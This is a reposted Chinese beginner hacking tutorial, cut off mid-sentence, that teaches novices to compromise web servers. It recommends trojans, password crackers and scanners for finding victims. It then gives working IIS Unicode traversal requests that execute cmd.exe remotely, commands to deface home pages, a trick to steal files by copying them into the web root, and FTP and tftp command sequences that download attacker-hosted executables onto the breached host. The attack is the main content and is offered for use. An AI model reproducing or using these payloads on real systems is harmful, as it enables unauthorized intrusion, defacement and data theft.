摘 自:http://www.anqn.com/article/a/2005-07-18/a092006.shtml
這 是一套適合初學者由淺到深的文章，所以強烈推薦給大家，作者從基礎講到最近比較火的漏洞，可能有些人看來是淺了些，但是的確很適合想幹點啥但又不知道怎麼 辦的菜鳥們，….
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
第一節、伸展運動：
這 節操我們要準備道具，俗話說：“工欲善其事，必先利其器”，要學習駭客技術， 一些必要的工具必不可少。
1、一台屬於自己的可以上網的電腦：這樣你可以有充分的支配權，上網不用說，否則你怎麼看到 我的文章？wap?呵呵！屬於自己很重要，否則安全性是個很大的問題，這點 相信大家沒有問題。
2、windows2000/nt： 別和我說98/me,他們是你們同學用來玩遊戲的！（當然，我也是鐵杆game fan)對網絡支持極差，命令受限制，很多軟件又不能用，對駭客來說使用起來絆手絆腳，非常不利。這 裡我推薦2000，這是一個很成熟的系統（漏洞還是有一堆）。推薦雙系統，這樣黑玩搭配，幹活不 累。
3、冰河--中國第一木 馬：中者數不勝數，國人驕傲。雖然用冰河根本不能算駭客，但它確實能培養你對駭客的興趣，同時幫助你瞭解網絡，相信很多駭客同學都是這樣起步的。靜 止寫的那篇冰河教程很不錯，大家仔細看看。而且，以後你學會入侵服務器，用冰河操作也會減少工作量。（我是懶蟲，爽！）
4、oicq：學駭客，可不是學泡mm！不要忘了，眾人拾柴 火更高，我們通過cshu的 成員列表，互相聯系幫助，對提高水準很有幫助！另外要廢話一句：據我瞭 解，現在駭客網站下載最多的 都是針對oicq的 破解工具，我個人認為很無聊，偷個密碼代表什麼，浪費時間！ 5、superscan：很好用的埠掃描器，速度超 快，功能一流，一旦擁有，別無所求……不論是找木馬受害者，還是 掃服務器埠，它都非常有效，cshu強 烈推薦！ 6、一本筆記本/便條： 網上資料相當多，駭客處理的也是非常之多，良好的習慣決定了你的效率，準備一本筆記本，記錄下你的成果，肉雞、木馬利用、命令、密碼……等，堅持一下，你 會發現你的效率大幅上升的！ 7、lc3：著名nt/2000sam破解程式，有時我們拿不到足夠權限，又沒好辦法，那麼lc3是最好的解決辦法，只要你拿的到sam，你就是服 務器它爺爺！本站有其破解程式，支援了暴力破解！ 8、程式合並，這是玩木馬必需的，雖然木馬是很低的手段，但有時配合巧辦法（以 後我會介紹）確實能夠達到意想不到的效果，朋友們可以在空閑時玩玩木馬，很有趣，若你能巧妙的騙過mm，那麼webmaster也可能被你騙倒。〉 9、流光4for 2000/nt：可能是世界上最好 的綜合類黑軟！中國的驕傲，它集成了很全的漏洞資訊，速度 快，方法多，對有漏洞的主機是毀滅性的打擊，操作又方便，是快速黑站必不可少的精品工具。超級吐血推薦！！ 10、良好的心態、穩定的情緒、刻苦鑽研的精神、刨根問底的作風、打掃房間的習 慣：駭客是門很高深的學問，不要幻想一步登天，失敗是常有的事，千萬不可灰心。在那麼多黑軟的包圍下，切不可完全依賴他們，一定要瞭解它們利用什麼原理工 作。對任何一個小問題，小細節，一定要問清楚，cshu就是給大家互相交流的場所哦！黑完後不要 得 意忘形，打掃戰場也很重要，以防萬一。 |
第 一節操完，可能很無聊，我就這點水準，大家見諒！這裡我說一句大話：做完菜鳥操，包你會黑簡單的站！
下 一節操我們要介紹如何掌握一台主機的基本資訊，……
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
今天的內容是獲得主機的資訊。 我們要黑一台主 機，首先要瞭解它的資訊，包括它的類型，用戶列表，目錄，埠，漏洞等等。
首先我們我們要找一台主機來練 手，隨便挑吧！www.flyingfish.com(亂 說的)
第一步，先在ie裡 看看吧，mmmm.....做的還行，挺精緻 的！主要是我們肯定了它現在是正常的。 然後，我們應該知道它的ip,很簡單，ping它一下就可以了。
ping www.flyingfish.com，看看視窗裡有了什麼？是不是有三行回應，其中的111.111.222.222就是ip了（還是胡說 的，一個例子）。
有 人是不是要問，我這裡怎麼沒有，那可能是兩個原因：第一，你打錯命令了；第二，該主機裝了防火墻，禁止ping， 不過這種可能很小。
知 道了ip，下一步應該確定埠了。下面是一些常 用的埠的默認值
21--ftp 重要哦
23--telnet 歡呼吧
25-smtp 盡管重要，但似乎沒什麼可利用的
53--domain 同上
79--finger 可知道用戶資訊了
80--http 要看網頁，沒它不行吧
110--pop 收信的
139--netbios 共用用的，很有利用價值哦
3389--win2000超級終端 呵 呵，這個 好！
其實埠有上 千種，這些最最常用。
我 們怎麼知道服務器有什麼埠打開呢？？去找個掃描器吧，x-scan、super scan、flux等等很多哦！這裡我推 薦super scan ，速度很快，本站也有其教程哦！用法還是比較傻瓜的，估計大家不會有問 題，輕輕幾點， 打開的埠就出現了。不錯不錯，上面說到的都有（太理想化了吧!）
那麼我們該如何應對呢？
ps：忘了說一聲，順便掃一下7626，冰河有也說不 準哦！
若 有ftp：那就用用匿名登錄。自己動手也行， 最好用x-scan 、flux等吧！反 正，有ftp就有一份希望。
telnet：在！這個好！telnet 111.111.222.222，出現窗口了吧！嗯？要密碼？看來網管還不是超級白癡……隨 便猜個，錯了，閃人！
smtp：看著它，無奈…！
domain：一般它帶了局域網了 ！
finger： 可 以知道用戶列表了，不好，忘了用法了，幸好finger很少出現 。
80肯定在：我們等會來對付它 ！
110： 有smtp，pop在也不奇怪了！
139： 找個掃描器來找找有沒有露在外面的共用吧，日 後也用得著。
3389： 太太…太 好了！！打開客戶端吧，用輸入法漏洞試試，成了就幹了它！不成也沒事，我們以後完全控制它3389會 很方便的。
埠 掃完了！我們在多瞭解它一點吧！追捕大家都知道吧，其實用它獲取主機資訊也不賴哦！打開追捕，輸入ip， 選擇智慧追捕，是不是有很多資訊出來了？雖然不能直接利用，但畢竟我們有對它有了進一步的瞭解。
掌 握了那麼多資訊，我們該做點什麼了，一般駭客入侵都是靠著系統漏洞，不會都傻傻地去暴力破解的；我們現在就要看看它有什麼漏洞。
對漏洞大家可能不太瞭解，我這 裡也不能一一說明瞭，太多了，感興趣的話去論壇找freedom吧！
目前廣泛利用和存在的漏洞有：unicode、unicode後續、iis溢出、idq、frontpage extend、輸入法漏洞 等等大漏洞。 至 於如何確定，呵呵！絕對不會是一行一行地在ie ，拿出x-scan吧，很好的掃描器哦！
稍 微設置一下就上路吧！過了一會，呵呵，報告出來了，快看，哇！漏洞一大堆！這下賺了！各條漏洞都有詳細的資訊，大家看吧，總比我說的準了。
現在這台主機已經和我們成為親 戚了，要讓這位親愛的親戚做點事，就要開始各種攻擊了，下回我們就探討一下最最可愛的unicode漏 洞，各位可能就會在unicode中完成第一次駭客體驗，再見~~）
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
今 天我們談談unicode漏洞，這可是基礎中 的基礎，重點裡的重點，不懂的一定要好好學。
2000年10月17日 中聯綠盟發佈了以下的安全公告：
微軟IIS 4.0 / 5.0 擴展UNICODE目錄遍 歷漏洞
遠 程漏洞：是
本 地漏洞：是
發 佈日期：2000年10月17日
更 新日期：2000年10月17日
受 影響的版本：Microsoft IIS 5.0 + Microsoft Windows NT 2000 Microsoft IIS 4.0 + Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 - Microsoft Windows NT 4.0
這 可是中國乃至全球網路安全界的一次大變節，入侵nt/2000系 統變得如此簡單，不打補丁的死路一 條。
下面開始正式學習：
一、UNICODE漏洞的原理 ：
此 漏洞從中文IIS4.0+SP6開始，還影響 中文WIN2000+IIS5.0、 中文WIN2000+IIS5.0+SP1， 臺 灣繁體中文也同樣存在這樣的漏洞。
中 文版的WIN2000中，UNICODE編 碼 存在BUG，在UNICODE 編碼中
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ’/’
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ’\’
在NT4中/編碼為%c1%9c
在英文版裡： WIN2000英 文版%c0%af
在中文win2k裡：%c1%1c
此 外還有多種編碼，不一一闡述。
本文例子均 以win2k為 准，其他類型請自行替換。
二、一切從基礎開始：
由於winnt\system32\cmd.exe的 存在，使遠端執行命令變為可能，在流覽器裡輸入以下請求：(假設11.11.22.22有漏洞）
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
學 過dos的應該可以看懂，其實就是利用當中的非法請求使我們可以連到system32下，如果inetpub\目錄不合winnt同盤，或者目錄級數有改動，可能會引起請求失敗。
如果成功，那麼在流覽區可看到如下資訊：
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 .. （假設目錄中沒有檔，實際上有一大 堆）
是不是有自己機器的感覺了，正點！就 是這種感覺！
cmd.exe相 當與dos裡 的command.com，因 此，我們可以執行很多命令了！
http://11.11.22.22/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir （這 個命令同樣道理）
大家請注意：/c後面的+，實際上，他就是空格，請記牢！dir開始就是dos命令了，我們可以更改一下：
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\autoexec.bat+c:\winnt\auto.exe
會dos的朋友一定懂其意義了，不懂的請去看書 。
不用說，大家也知道我們就可以利用它來對有漏洞的機器展開攻擊了！
三、實戰演練：
1、修改主頁（是不是很爽？）：
一般主頁位置在c:\inetpub\wwwroot下， 但要是改了路徑，就需要找找了。
最方便的方法：在流覽器裡輸入 http://11.11.22.22/.ida，要是有漏洞，那在流覽器裡便會顯示主頁路徑，這個漏洞存在 率很高，自然是我們的首選。
分 析法：用dir看各個盤符的根目錄，看可疑的 就進去看，運氣好的在一分鐘裡找到，這要看運氣和直 覺。
dir/s法：首先在看其主頁，找個圖片或連接，看它的檔案名，比如，11.11.22.22首 頁上有一幅圖片，右擊，屬性，看到了嗎？iloveu.gif， 然後我們利用unicode輸入這條命令dir c:\iloveu.gif /s意 味著查找c盤下所有目錄裡的iloveu.gif， 注意實際應用時別忘了把空格改為+,如 果沒有繼續找d盤， 很快就能確定主頁目錄的。
找 到了目錄，就要對它開刀了！一般默認收頁為index.htm,index.html,index.asp,default.htm,defautl.html,default.asp中 的一個，現在我們確定11.11.22.22中為index.htm
那 麼我們就修改它吧！
最 方便的方法：
1、echo法：
echo是一個系統命令，主要用於設置回應開關，而echo cshu >c:\autoexe.bat就是把cshu加 入autoexec.bat裡並刪除原有內容，echo cshunice >>c:\autoexec.bat就 是加入cshunice但 不刪除原有內容，這樣我們就可以逍遙的改了。
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm
回 應為：HTTP 500 - 內部伺服器錯誤
通 過對cmd的分析，袁哥得出一條簡便的方 法，加入"符 號
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+2001730+>>c:\inetpub\wwwroot\index.htm
回 應為：cgi錯誤，不用理會
兩條 命令一下，呵呵，再看看11.11.22.22， 是不是烙上我們的大名了？不錯吧
而在實際 操作中，可能袁哥的方法也會失效，這時，我們就可以copy cmd.exe 為另一個exe，記住路徑，用copy後的來echo
例如：11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe
11.11.22.22/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm
2、上傳法：
echo有 點不講道理，把人家的文件破壞了，要是想在主頁上增光添彩，那就應該用改好的主頁上傳，這個我們後面介紹。
幾 點忠告：
1、對於沒有主頁的機器（就是正在建立的主頁），不要改它，這很沒水準，也很沒道德 。
2、echo前記得幫他們做好備份。
3、不准在主頁裡加入惡性語句。
4、下載檔案 。
要 是有什麼有用的檔被你發現，那我們如何下載呢？
最 簡單的方法：把檔copy至網頁目錄下。copy c:\email\baby.eml c:\inetpub\wwwroot\baby.zip,然 後，下載11.11.22.22/baby.zip就行了，注意！實際應用中要記得對檔案名進行 修 改，總之不能暴露。
別 的方法：對不起，沒想好！
2、最重要的上傳 ：
一般方法、ftp法 ：
首先建一個ftp指 令檔：c:\hehe.haha（名字亂取 把），申請一個ftp帳 號，然後用echo吧！
echo+open ftp.cshu.com（ftp主機） > c:\hehe.haha
echo+user yourname >> cc:\hehe.haha (yourname是 用戶名)
echo+yourpasswd >> c:\hehe.haha (yourpasswd是 密碼)
echo+get setup.exe >> c:\hehe.haha 要 下載的文件
echo+quit >> c:\hehe.haha
完 了以後：ftp+/s:c:\hehe.haha， 由於是ftp主 機，那麼速度一定很快，過一會setup.exe就 會出現在目前的目錄了（也就是cmd所在目錄）。
別 忘了先上傳到ftp主機，不要做馬大哈哦！
最 簡單的方法：tftp法。
這種方法 不用中轉伺服器，首先準備一個tftp服務端，它的作用就是把你的機器做成一個tftp伺 服器，利用漏洞機器來下載（注意，運行tftp時 不要運行其他的ftp軟體）
在 這裡我推薦cisco tftp server， 自己去找找把，實在沒有來找我。）
安裝好 後運行，別忘了設置好預設目錄，否則會找不到檔。
tftp命 令：tftp -i 1.2.3.4 GET ihateu.exe c:\winnt\ihateu.exe（ihateu.exe在預設目
